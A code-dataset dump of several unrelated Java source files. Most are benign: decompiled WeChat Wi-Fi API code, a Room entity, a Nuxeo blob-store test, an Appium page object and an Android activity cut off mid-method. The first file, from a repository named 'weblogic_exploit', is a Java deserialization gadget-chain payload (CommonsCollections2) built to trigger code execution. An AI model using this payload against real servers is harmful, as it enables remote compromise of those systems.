8152e5f126c3b6a28b738aa7194924b2b4bd1050 | 38,989,713,154,061 | e2391cbe50a1f748e59851f00e59a3ca5ba5c8d8 | /src/main/java/superman/payloads/CommonsCollections2.java | 95d1e5a57a1d377465ea75c4988d6e0654d659c2 | [] | no_license | muzai/weblogic_exploit | https://github.com/muzai/weblogic_exploit | 02ec623008e66aa390e711f8f57640b7ce8c8220 | cce379dfcbd32fbfcdf8e7007ff0ed442aad352a | refs/heads/master | 2022-11-18T00:03:46.042000 | 2020-07-16T09:10:05 | 2020-07-16T09:10:05 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package superman.payloads;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import superman.util.Gadgets;
import superman.util.Reflections;
import java.util.PriorityQueue;
public class CommonsCollections2 implements EchoPayload<Object> {
public Object getObject(Class echoClass) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(echoClass);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
}
| UTF-8 | Java | 1,236 | java | CommonsCollections2.java | Java | [] | null | [] | package superman.payloads;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import superman.util.Gadgets;
import superman.util.Reflections;
import java.util.PriorityQueue;
public class CommonsCollections2 implements EchoPayload<Object> {
public Object getObject(Class echoClass) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(echoClass);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
}
| 1,236 | 0.717638 | 0.708738 | 35 | 34.314285 | 33.080654 | 114 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.628571 | false | false | 15 |
b2cd3fbc49d280b94a0c631b589e112f3f582e5c | 22,814,866,338,446 | 082e26b011e30dc62a62fae95f375e4f87d9e99c | /docs/weixin_7.0.4_source/反编译源码/反混淆后/src/main/java/com/tencent/p177mm/plugin/appbrand/jsapi/wifi/C16683d.java | 028af4c8e4946434ad39fe159229dd5bd2584734 | [] | no_license | xsren/AndroidReverseNotes | https://github.com/xsren/AndroidReverseNotes | 9631a5aabc031006e795a112b7ac756a8edd4385 | 9202c276fe9f04a978e4e08b08e42645d97ca94b | refs/heads/master | 2021-04-07T22:50:51.072000 | 2019-07-16T02:24:43 | 2019-07-16T02:24:43 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.tencent.p177mm.plugin.appbrand.jsapi.wifi;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.NetworkInfo;
import android.net.NetworkInfo.State;
import android.os.Parcelable;
import android.text.TextUtils;
import com.google.android.gms.common.api.Api.BaseClientBuilder;
import com.tencent.matrix.trace.core.AppMethodBeat;
import com.tencent.p177mm.plugin.appbrand.C33183g;
import com.tencent.p177mm.plugin.appbrand.C33183g.C33186c;
import com.tencent.p177mm.plugin.appbrand.jsapi.C10296a;
import com.tencent.p177mm.plugin.appbrand.jsapi.C2241c;
import com.tencent.p177mm.plugin.appbrand.jsapi.wifi.C19523a.C19527a;
import com.tencent.p177mm.plugin.appbrand.jsapi.wifi.wifisdk.C19528b;
import com.tencent.p177mm.plugin.appbrand.jsapi.wifi.wifisdk.C27138d;
import com.tencent.p177mm.sdk.platformtools.C4990ab;
import java.util.HashMap;
import org.json.JSONException;
import org.json.JSONObject;
/* renamed from: com.tencent.mm.plugin.appbrand.jsapi.wifi.d */
public final class C16683d extends C10296a {
public static final int CTRL_INDEX = 314;
public static final String NAME = "startWifi";
public static boolean ide = false;
public static BroadcastReceiver idf = null;
/* renamed from: a */
public final void mo5994a(final C2241c c2241c, JSONObject jSONObject, int i) {
AppMethodBeat.m2504i(94376);
C4990ab.m7416i("MicroMsg.JsApiStartWifi", "invoke startWifi");
final Context context = c2241c.getContext();
HashMap hashMap;
if (context == null) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "mContext is null, invoke fail!");
hashMap = new HashMap();
hashMap.put("errCode", Integer.valueOf(12010));
c2241c.mo6107M(i, mo73394j("fail:context is null", hashMap));
AppMethodBeat.m2505o(94376);
return;
}
C27138d.m43130cP(context);
if (!ide) {
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction("android.net.wifi.STATE_CHANGE");
intentFilter.addAction("android.net.wifi.WIFI_STATE_CHANGED");
intentFilter.addAction("android.net.conn.CONNECTIVITY_CHANGE");
intentFilter.setPriority(BaseClientBuilder.API_PRIORITY_OTHER);
idf = new BroadcastReceiver() {
public final void onReceive(Context context, Intent intent) {
AppMethodBeat.m2504i(94374);
if (intent == null) {
AppMethodBeat.m2505o(94374);
return;
}
String action = intent.getAction();
if (TextUtils.isEmpty(action)) {
AppMethodBeat.m2505o(94374);
return;
}
int intExtra;
C4990ab.m7417i("MicroMsg.JsApiStartWifi", "actiong:%s", action);
if ("android.net.wifi.WIFI_STATE_CHANGED".equals(action)) {
intExtra = intent.getIntExtra("wifi_state", 0);
C4990ab.m7416i("MicroMsg.JsApiStartWifi", "wifiState".concat(String.valueOf(intExtra)));
switch (intExtra) {
case 1:
C16683d.m25689x(c2241c);
break;
}
}
if ("android.net.conn.CONNECTIVITY_CHANGE".equals(action)) {
Parcelable parcelableExtra = intent.getParcelableExtra("networkInfo");
if (parcelableExtra != null) {
NetworkInfo networkInfo = (NetworkInfo) parcelableExtra;
intExtra = networkInfo.getState() == State.CONNECTED ? 1 : 0;
int i;
if (networkInfo.getType() == 1) {
i = 1;
} else {
i = 0;
}
if (intExtra == 0 || i == 0) {
C16683d.m25689x(c2241c);
} else {
C19528b aGy = C27138d.aGy();
C4990ab.m7417i("MicroMsg.JsApiStartWifi", "[mWiFiEventReceiver]currentWifi:%s", aGy);
if (aGy == null) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "[CONNECTIVITY_ACTION]currentWIfi is null");
AppMethodBeat.m2505o(94374);
return;
}
try {
C19527a c19527a = new C19527a();
HashMap hashMap = new HashMap();
hashMap.put("wifi", aGy.toJSONObject());
c19527a.mo61030b(c2241c, 0).mo34958t(hashMap).aCj();
AppMethodBeat.m2505o(94374);
return;
} catch (JSONException e) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "IConnectWiFiCallback is error");
C4990ab.printErrStackTrace("MicroMsg.JsApiStartWifi", e, "", new Object[0]);
AppMethodBeat.m2505o(94374);
return;
}
}
}
}
AppMethodBeat.m2505o(94374);
}
};
context.registerReceiver(idf, intentFilter);
ide = true;
}
C33183g.m54274a(c2241c.getAppId(), new C33186c() {
public final void onDestroy() {
AppMethodBeat.m2504i(94375);
if (C16683d.idf != null) {
C4990ab.m7416i("MicroMsg.JsApiStartWifi", "unregisterReceiver");
try {
context.unregisterReceiver(C16683d.idf);
} catch (Exception e) {
C4990ab.printErrStackTrace("MicroMsg.JsApiStartWifi", e, "", new Object[0]);
}
C16683d.ide = false;
C16683d.idf = null;
}
C33183g.m54276b(c2241c.getAppId(), this);
AppMethodBeat.m2505o(94375);
}
});
hashMap = new HashMap();
hashMap.put("errCode", Integer.valueOf(0));
c2241c.mo6107M(i, mo73394j("ok", hashMap));
AppMethodBeat.m2505o(94376);
}
/* renamed from: x */
static /* synthetic */ void m25689x(C2241c c2241c) {
AppMethodBeat.m2504i(94377);
try {
C19527a c19527a = new C19527a();
HashMap hashMap = new HashMap();
hashMap.put("wifi", new C19528b().toJSONObject());
c19527a.mo61030b(c2241c, 0).mo34958t(hashMap).aCj();
AppMethodBeat.m2505o(94377);
} catch (JSONException e) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "mWiFiEventReceiver is error");
C4990ab.printErrStackTrace("MicroMsg.JsApiStartWifi", e, "", new Object[0]);
AppMethodBeat.m2505o(94377);
}
}
}
| UTF-8 | Java | 7,556 | java | C16683d.java | Java | [] | null | [] | package com.tencent.p177mm.plugin.appbrand.jsapi.wifi;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.NetworkInfo;
import android.net.NetworkInfo.State;
import android.os.Parcelable;
import android.text.TextUtils;
import com.google.android.gms.common.api.Api.BaseClientBuilder;
import com.tencent.matrix.trace.core.AppMethodBeat;
import com.tencent.p177mm.plugin.appbrand.C33183g;
import com.tencent.p177mm.plugin.appbrand.C33183g.C33186c;
import com.tencent.p177mm.plugin.appbrand.jsapi.C10296a;
import com.tencent.p177mm.plugin.appbrand.jsapi.C2241c;
import com.tencent.p177mm.plugin.appbrand.jsapi.wifi.C19523a.C19527a;
import com.tencent.p177mm.plugin.appbrand.jsapi.wifi.wifisdk.C19528b;
import com.tencent.p177mm.plugin.appbrand.jsapi.wifi.wifisdk.C27138d;
import com.tencent.p177mm.sdk.platformtools.C4990ab;
import java.util.HashMap;
import org.json.JSONException;
import org.json.JSONObject;
/* renamed from: com.tencent.mm.plugin.appbrand.jsapi.wifi.d */
public final class C16683d extends C10296a {
public static final int CTRL_INDEX = 314;
public static final String NAME = "startWifi";
public static boolean ide = false;
public static BroadcastReceiver idf = null;
/* renamed from: a */
public final void mo5994a(final C2241c c2241c, JSONObject jSONObject, int i) {
AppMethodBeat.m2504i(94376);
C4990ab.m7416i("MicroMsg.JsApiStartWifi", "invoke startWifi");
final Context context = c2241c.getContext();
HashMap hashMap;
if (context == null) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "mContext is null, invoke fail!");
hashMap = new HashMap();
hashMap.put("errCode", Integer.valueOf(12010));
c2241c.mo6107M(i, mo73394j("fail:context is null", hashMap));
AppMethodBeat.m2505o(94376);
return;
}
C27138d.m43130cP(context);
if (!ide) {
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction("android.net.wifi.STATE_CHANGE");
intentFilter.addAction("android.net.wifi.WIFI_STATE_CHANGED");
intentFilter.addAction("android.net.conn.CONNECTIVITY_CHANGE");
intentFilter.setPriority(BaseClientBuilder.API_PRIORITY_OTHER);
idf = new BroadcastReceiver() {
public final void onReceive(Context context, Intent intent) {
AppMethodBeat.m2504i(94374);
if (intent == null) {
AppMethodBeat.m2505o(94374);
return;
}
String action = intent.getAction();
if (TextUtils.isEmpty(action)) {
AppMethodBeat.m2505o(94374);
return;
}
int intExtra;
C4990ab.m7417i("MicroMsg.JsApiStartWifi", "actiong:%s", action);
if ("android.net.wifi.WIFI_STATE_CHANGED".equals(action)) {
intExtra = intent.getIntExtra("wifi_state", 0);
C4990ab.m7416i("MicroMsg.JsApiStartWifi", "wifiState".concat(String.valueOf(intExtra)));
switch (intExtra) {
case 1:
C16683d.m25689x(c2241c);
break;
}
}
if ("android.net.conn.CONNECTIVITY_CHANGE".equals(action)) {
Parcelable parcelableExtra = intent.getParcelableExtra("networkInfo");
if (parcelableExtra != null) {
NetworkInfo networkInfo = (NetworkInfo) parcelableExtra;
intExtra = networkInfo.getState() == State.CONNECTED ? 1 : 0;
int i;
if (networkInfo.getType() == 1) {
i = 1;
} else {
i = 0;
}
if (intExtra == 0 || i == 0) {
C16683d.m25689x(c2241c);
} else {
C19528b aGy = C27138d.aGy();
C4990ab.m7417i("MicroMsg.JsApiStartWifi", "[mWiFiEventReceiver]currentWifi:%s", aGy);
if (aGy == null) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "[CONNECTIVITY_ACTION]currentWIfi is null");
AppMethodBeat.m2505o(94374);
return;
}
try {
C19527a c19527a = new C19527a();
HashMap hashMap = new HashMap();
hashMap.put("wifi", aGy.toJSONObject());
c19527a.mo61030b(c2241c, 0).mo34958t(hashMap).aCj();
AppMethodBeat.m2505o(94374);
return;
} catch (JSONException e) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "IConnectWiFiCallback is error");
C4990ab.printErrStackTrace("MicroMsg.JsApiStartWifi", e, "", new Object[0]);
AppMethodBeat.m2505o(94374);
return;
}
}
}
}
AppMethodBeat.m2505o(94374);
}
};
context.registerReceiver(idf, intentFilter);
ide = true;
}
C33183g.m54274a(c2241c.getAppId(), new C33186c() {
public final void onDestroy() {
AppMethodBeat.m2504i(94375);
if (C16683d.idf != null) {
C4990ab.m7416i("MicroMsg.JsApiStartWifi", "unregisterReceiver");
try {
context.unregisterReceiver(C16683d.idf);
} catch (Exception e) {
C4990ab.printErrStackTrace("MicroMsg.JsApiStartWifi", e, "", new Object[0]);
}
C16683d.ide = false;
C16683d.idf = null;
}
C33183g.m54276b(c2241c.getAppId(), this);
AppMethodBeat.m2505o(94375);
}
});
hashMap = new HashMap();
hashMap.put("errCode", Integer.valueOf(0));
c2241c.mo6107M(i, mo73394j("ok", hashMap));
AppMethodBeat.m2505o(94376);
}
/* renamed from: x */
static /* synthetic */ void m25689x(C2241c c2241c) {
AppMethodBeat.m2504i(94377);
try {
C19527a c19527a = new C19527a();
HashMap hashMap = new HashMap();
hashMap.put("wifi", new C19528b().toJSONObject());
c19527a.mo61030b(c2241c, 0).mo34958t(hashMap).aCj();
AppMethodBeat.m2505o(94377);
} catch (JSONException e) {
C4990ab.m7412e("MicroMsg.JsApiStartWifi", "mWiFiEventReceiver is error");
C4990ab.printErrStackTrace("MicroMsg.JsApiStartWifi", e, "", new Object[0]);
AppMethodBeat.m2505o(94377);
}
}
}
| 7,556 | 0.520116 | 0.446533 | 157 | 47.127388 | 24.958239 | 122 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.904459 | false | false | 15 |
95c5f8b1f93ddffc50a5d8ceb5b9c61e75a0c453 | 39,152,921,887,952 | 2c330160c35e182ea26404422382a463f2d167a9 | /app/src/main/java/com/codelovely/thecooksnook/data/entities/Ingredient.java | ccc4f47650354b43bf0c1b4d754994f6cd4c9c65 | [] | no_license | vestes22/TheCooksNook | https://github.com/vestes22/TheCooksNook | c01d707a29dcf16eedbce17579bd2693b0370ec4 | 334c8d9a06e501e5d7d1d3f9a51b5f2b8e8034f6 | refs/heads/master | 2023-08-07T08:50:42.885000 | 2021-09-28T14:41:45 | 2021-09-28T14:41:45 | 348,487,697 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.codelovely.thecooksnook.data.entities;
import androidx.room.ColumnInfo;
import androidx.room.Entity;
import androidx.room.PrimaryKey;
@Entity (
tableName = "ingredients"
)
public class Ingredient {
private @PrimaryKey @ColumnInfo(name = "FDC ID") int fdcId;
private @ColumnInfo(name="Data type") String dataType;
private String description;
private String category;
private @ColumnInfo(name="Serving size unit") String servingSizeUnit;
public int getFdcId() {
return fdcId;
}
public void setFdcId(int fdcId) {
this.fdcId = fdcId;
}
public String getDataType() {
return dataType;
}
public void setDataType(String dataType) {
this.dataType = dataType;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getServingSizeUnit() {
return servingSizeUnit;
}
public void setServingSizeUnit(String servingSizeUnit) {
this.servingSizeUnit = servingSizeUnit;
}
public void setCategory(String category) { this.category = category; }
public String getCategory() { return category; }
}
| UTF-8 | Java | 1,262 | java | Ingredient.java | Java | [] | null | [] | package com.codelovely.thecooksnook.data.entities;
import androidx.room.ColumnInfo;
import androidx.room.Entity;
import androidx.room.PrimaryKey;
@Entity (
tableName = "ingredients"
)
public class Ingredient {
private @PrimaryKey @ColumnInfo(name = "FDC ID") int fdcId;
private @ColumnInfo(name="Data type") String dataType;
private String description;
private String category;
private @ColumnInfo(name="Serving size unit") String servingSizeUnit;
public int getFdcId() {
return fdcId;
}
public void setFdcId(int fdcId) {
this.fdcId = fdcId;
}
public String getDataType() {
return dataType;
}
public void setDataType(String dataType) {
this.dataType = dataType;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getServingSizeUnit() {
return servingSizeUnit;
}
public void setServingSizeUnit(String servingSizeUnit) {
this.servingSizeUnit = servingSizeUnit;
}
public void setCategory(String category) { this.category = category; }
public String getCategory() { return category; }
}
| 1,262 | 0.678288 | 0.678288 | 52 | 23.26923 | 21.714153 | 74 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.365385 | false | false | 15 |
d8db265a774ce2e33cc9583a97a61fe072a8904b | 34,308,198,822,694 | 1b016787bc0053b7468da176580dbce281a39f2e | /javalib/src/main/java/com/example/edwin/javalib/design_pattern/constructor/outlook/SubSystem1.java | dfc61f2da86b0ef7277831e574abca5297443ccf | [] | no_license | Edwin-wen/AndroidCode | https://github.com/Edwin-wen/AndroidCode | 05c7866488dd05931b031d254eb468f9c4431022 | 6533f87171e2bfaecf9a6595a9029b511a9f7ba9 | refs/heads/master | 2021-05-16T21:32:11.041000 | 2020-05-25T17:05:08 | 2020-05-25T17:05:08 | 250,476,736 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.edwin.javalib.design_pattern.constructor.outlook;
public class SubSystem1 {
public void doSystem1() {
}
}
| UTF-8 | Java | 137 | java | SubSystem1.java | Java | [] | null | [] | package com.example.edwin.javalib.design_pattern.constructor.outlook;
public class SubSystem1 {
public void doSystem1() {
}
}
| 137 | 0.729927 | 0.715328 | 8 | 16.125 | 22.83877 | 69 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | false | false | 15 |
e331c0269f349be2952f52388f98617f052e9cce | 39,393,440,064,749 | 4edcffeb960478dc5448236d126ece8df5a6f51f | /src/main/java/ik/ijse/ws/instagram_clone/service/UserService.java | d170304d20f489cfaca1ed4c181b108f1b326dcd | [] | no_license | KavinduDhananjaya/instagram_clone | https://github.com/KavinduDhananjaya/instagram_clone | 02231f18ad263df98be35e8e173fafcfcb199d2c | a47a8e64d6aff00b56205c353b02bd6e2c3be9a9 | refs/heads/master | 2023-03-06T17:05:25.962000 | 2020-12-19T09:15:39 | 2020-12-19T09:15:39 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ik.ijse.ws.instagram_clone.service;
import ik.ijse.ws.instagram_clone.dto.UserDto;
import ik.ijse.ws.instagram_clone.util.StandardResponse;
import org.springframework.http.ResponseEntity;
public interface UserService {
StandardResponse registerUser(UserDto userDto) throws Exception;
boolean loginUser(UserDto userDto) throws Exception;
}
| UTF-8 | Java | 358 | java | UserService.java | Java | [] | null | [] | package ik.ijse.ws.instagram_clone.service;
import ik.ijse.ws.instagram_clone.dto.UserDto;
import ik.ijse.ws.instagram_clone.util.StandardResponse;
import org.springframework.http.ResponseEntity;
public interface UserService {
StandardResponse registerUser(UserDto userDto) throws Exception;
boolean loginUser(UserDto userDto) throws Exception;
}
| 358 | 0.815642 | 0.815642 | 11 | 31.545454 | 25.270765 | 68 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.545455 | false | false | 15 |
44e251181e281a47ab4d23122fb1b0d1a62965e2 | 15,367,392,991,111 | e40266a9de2172e7f7740210173196ccfbf91047 | /src/main/java/demo/pages/ToDoUncheck.java | 3fd352c30afb64a584b09b541120449f4f52c433 | [] | no_license | theodoricjonathan/Exam_JonathanTheodoric | https://github.com/theodoricjonathan/Exam_JonathanTheodoric | 893186293708dfa197cf9d000627f32d4e9b3aa4 | 89d029afb15d8d85a00105bde31f819f3dc767ca | refs/heads/master | 2022-04-26T21:45:13.597000 | 2020-04-30T08:29:39 | 2020-04-30T08:29:39 | 260,154,846 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package demo.pages;
import demo.webdriver.AndroidDriverInstance;
import demo.webdriver.WebDriverInstance;
import org.openqa.selenium.By;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.WebDriverWait;
public class ToDoUncheck {
public static boolean isOnPage() {
WebDriverWait wait = new WebDriverWait(AndroidDriverInstance.androidDriver, 15);
return wait.until(ExpectedConditions.presenceOfElementLocated(By.id("fab_add_task"))).isDisplayed();
}
public static void clickUncheckList() {
WebElement buttonUncheckList = AndroidDriverInstance.androidDriver.findElement(By.id("complete"));
buttonUncheckList.click();
}
}
| UTF-8 | Java | 752 | java | ToDoUncheck.java | Java | [] | null | [] | package demo.pages;
import demo.webdriver.AndroidDriverInstance;
import demo.webdriver.WebDriverInstance;
import org.openqa.selenium.By;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.WebDriverWait;
public class ToDoUncheck {
public static boolean isOnPage() {
WebDriverWait wait = new WebDriverWait(AndroidDriverInstance.androidDriver, 15);
return wait.until(ExpectedConditions.presenceOfElementLocated(By.id("fab_add_task"))).isDisplayed();
}
public static void clickUncheckList() {
WebElement buttonUncheckList = AndroidDriverInstance.androidDriver.findElement(By.id("complete"));
buttonUncheckList.click();
}
}
| 752 | 0.775266 | 0.772606 | 18 | 40.777779 | 31.695698 | 108 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.666667 | false | false | 15 |
fa3322548f5ab6efdb0aa05c0e203ca8054256a8 | 20,100,446,954,695 | 78edef017117999e4f814462f48140d140152389 | /src/main/java/be/atc/salesmanagercrm/entities/ObjectActivity.java | 3d27e2240a75977530a0f859d9929a1ea84f3802 | [] | no_license | max2759/salesmanagerCRM | https://github.com/max2759/salesmanagerCRM | a69d2b5771ff7beeeea94e30a349094117de8ac9 | 8fa61e01c810ca1e1c20e67fb16952c144e206ec | refs/heads/main | 2023-08-26T09:45:11.814000 | 2021-10-07T13:40:04 | 2021-10-07T13:40:04 | 415,300,505 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package be.atc.salesmanagercrm.entities;
import lombok.Getter;
import lombok.Setter;
public class ObjectActivity {
@Getter
@Setter
private String objectType;
@Getter
@Setter
private Object object;
public ObjectActivity(String objectType, Object object) {
this.objectType = objectType;
this.object = object;
}
}
| UTF-8 | Java | 362 | java | ObjectActivity.java | Java | [] | null | [] | package be.atc.salesmanagercrm.entities;
import lombok.Getter;
import lombok.Setter;
public class ObjectActivity {
@Getter
@Setter
private String objectType;
@Getter
@Setter
private Object object;
public ObjectActivity(String objectType, Object object) {
this.objectType = objectType;
this.object = object;
}
}
| 362 | 0.690608 | 0.690608 | 18 | 19.111111 | 16.271614 | 61 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.444444 | false | false | 15 |
631606eb571ded975db4b78eb4e38d0c68f8a8f8 | 7,361,573,956,707 | 23d5aadee956fa3c5fa2e2160bb7cec7b3f7d793 | /nuxeo-core-binarymanager-multi-core/src/test/java/org/nuxeo/ecm/core/TestRepositoryMultiBlobStore.java | ddced37f69dc0c55c035a9d5b71d1a47947248b4 | [] | no_license | tiry/nuxeo-core-blobmanager-multi | https://github.com/tiry/nuxeo-core-blobmanager-multi | d6e455132eb3e026416daba953f4caea4d7a1d75 | 0d90673b7e3dfc26a03405743413d53445b1bb9e | refs/heads/master | 2020-03-18T05:48:22.001000 | 2018-05-25T23:22:52 | 2018-05-25T23:22:52 | 134,362,352 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.nuxeo.ecm.core;
import static org.junit.Assert.assertNotNull;
import java.io.Serializable;
import java.util.UUID;
import javax.inject.Inject;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.nuxeo.ecm.core.api.Blob;
import org.nuxeo.ecm.core.api.CoreSession;
import org.nuxeo.ecm.core.api.DocumentModel;
import org.nuxeo.ecm.core.api.impl.blob.StringBlob;
import org.nuxeo.ecm.core.blob.BlobInfo;
import org.nuxeo.ecm.core.blob.BlobManager;
import org.nuxeo.ecm.core.blob.BlobProvider;
import org.nuxeo.ecm.core.blob.SimpleManagedBlob;
import org.nuxeo.runtime.test.runner.Features;
import org.nuxeo.runtime.test.runner.FeaturesRunner;
@RunWith(FeaturesRunner.class)
@Features(CoreFeatureMultiBlobStore.class)
public class TestRepositoryMultiBlobStore {
@Inject
protected BlobManager blobManager;
@Inject
protected CoreSession coreSession;
protected Blob mkBlob(String name) {
return new StringBlob(UUID.randomUUID().toString(), "text/plain", "UTF-8", name);
}
@Test
public void test() throws Exception {
BlobProvider roProvider = blobManager.getBlobProvider("RO");
assertNotNull(roProvider);
String b1 = roProvider.writeBlob(mkBlob("prod01.txt"));
BlobProvider rwProvider = blobManager.getBlobProvider("RW");
assertNotNull(rwProvider);
String b2 = rwProvider.writeBlob(mkBlob("preprod01.txt"));
BlobInfo bi = new BlobInfo();
DocumentModel doc = coreSession.createDocumentModel("/", "file1", "File");
bi.key=coreSession.getRepositoryName()+ ":" + b1;
Blob blob = new SimpleManagedBlob(bi);
doc.setPropertyValue("file:content", (Serializable) blob);
doc=coreSession.createDocument(doc);
doc = coreSession.createDocumentModel("/", "file2", "File");
bi.key=coreSession.getRepositoryName()+ ":" + b2;
blob = new SimpleManagedBlob(bi);
doc.setPropertyValue("file:content", (Serializable) blob);
doc=coreSession.createDocument(doc);
}
}
| UTF-8 | Java | 1,954 | java | TestRepositoryMultiBlobStore.java | Java | [] | null | [] | package org.nuxeo.ecm.core;
import static org.junit.Assert.assertNotNull;
import java.io.Serializable;
import java.util.UUID;
import javax.inject.Inject;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.nuxeo.ecm.core.api.Blob;
import org.nuxeo.ecm.core.api.CoreSession;
import org.nuxeo.ecm.core.api.DocumentModel;
import org.nuxeo.ecm.core.api.impl.blob.StringBlob;
import org.nuxeo.ecm.core.blob.BlobInfo;
import org.nuxeo.ecm.core.blob.BlobManager;
import org.nuxeo.ecm.core.blob.BlobProvider;
import org.nuxeo.ecm.core.blob.SimpleManagedBlob;
import org.nuxeo.runtime.test.runner.Features;
import org.nuxeo.runtime.test.runner.FeaturesRunner;
@RunWith(FeaturesRunner.class)
@Features(CoreFeatureMultiBlobStore.class)
public class TestRepositoryMultiBlobStore {
@Inject
protected BlobManager blobManager;
@Inject
protected CoreSession coreSession;
protected Blob mkBlob(String name) {
return new StringBlob(UUID.randomUUID().toString(), "text/plain", "UTF-8", name);
}
@Test
public void test() throws Exception {
BlobProvider roProvider = blobManager.getBlobProvider("RO");
assertNotNull(roProvider);
String b1 = roProvider.writeBlob(mkBlob("prod01.txt"));
BlobProvider rwProvider = blobManager.getBlobProvider("RW");
assertNotNull(rwProvider);
String b2 = rwProvider.writeBlob(mkBlob("preprod01.txt"));
BlobInfo bi = new BlobInfo();
DocumentModel doc = coreSession.createDocumentModel("/", "file1", "File");
bi.key=coreSession.getRepositoryName()+ ":" + b1;
Blob blob = new SimpleManagedBlob(bi);
doc.setPropertyValue("file:content", (Serializable) blob);
doc=coreSession.createDocument(doc);
doc = coreSession.createDocumentModel("/", "file2", "File");
bi.key=coreSession.getRepositoryName()+ ":" + b2;
blob = new SimpleManagedBlob(bi);
doc.setPropertyValue("file:content", (Serializable) blob);
doc=coreSession.createDocument(doc);
}
}
| 1,954 | 0.753838 | 0.748209 | 64 | 29.53125 | 22.95714 | 83 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.796875 | false | false | 15 |
11ea0b68570f3d81823ba5834543171f6a7ddc4a | 29,360,396,445,248 | 3f5067dc81623e726e5857d4cd291814d8bf2c6c | /myapplication/SearchCaseDetailActivity.java | d01ee39d35ddf45f121c7a59a5c5f329ab48beb2 | [] | no_license | OliviaXu312/Legal_Assistance_App | https://github.com/OliviaXu312/Legal_Assistance_App | c7d9aedc11b2ff5191fab1560d5b81a48810522e | b56e2165a8008e6bbde9692a5e019e075a3c02ae | refs/heads/master | 2020-07-15T03:45:22.062000 | 2019-08-31T21:08:43 | 2019-08-31T21:08:43 | 205,471,345 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.joan.myapplication;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
import android.widget.ScrollView;
import android.widget.TextView;
import com.example.joan.myapplication.database.model.BaseModel;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
import org.xutils.common.Callback;
import org.xutils.http.RequestParams;
import org.xutils.x;
public class SearchCaseDetailActivity extends AppCompatActivity implements View.OnClickListener {
private TextView main, name, reason, date, mainTitle, law, lawMain;
private Button bottom;
private ScrollView mainBody;
private String id, content, fact;
private int state, fOrC;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.case_detail);
findViewById(R.id.btn_back).setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
finish();
}
});
initItems();
getData();
}
private void getData() {
id = getIntent().getStringExtra("id");
System.out.println(id);
try {
RequestParams params = new RequestParams("http://" + BaseModel.IP_ADDR +":8080/judgementConsult.action");
params.addQueryStringParameter("_id", id);
params.setMaxRetryCount(0);
System.out.println(params);
// System.out.println(params.toString());
x.http().get(params, new Callback.CommonCallback<String>() {
@Override
public void onSuccess(String s) {
// System.out.println(s);
String mainData;
JsonParser jsonParser = new JsonParser();
JsonObject jsonObject = (JsonObject) jsonParser.parse(s);
state = jsonObject.get("state").getAsInt();
switch (state){
case 1:
JsonObject data = jsonObject.getAsJsonObject("data");
// System.out.println(data.get("j_id").getAsString());
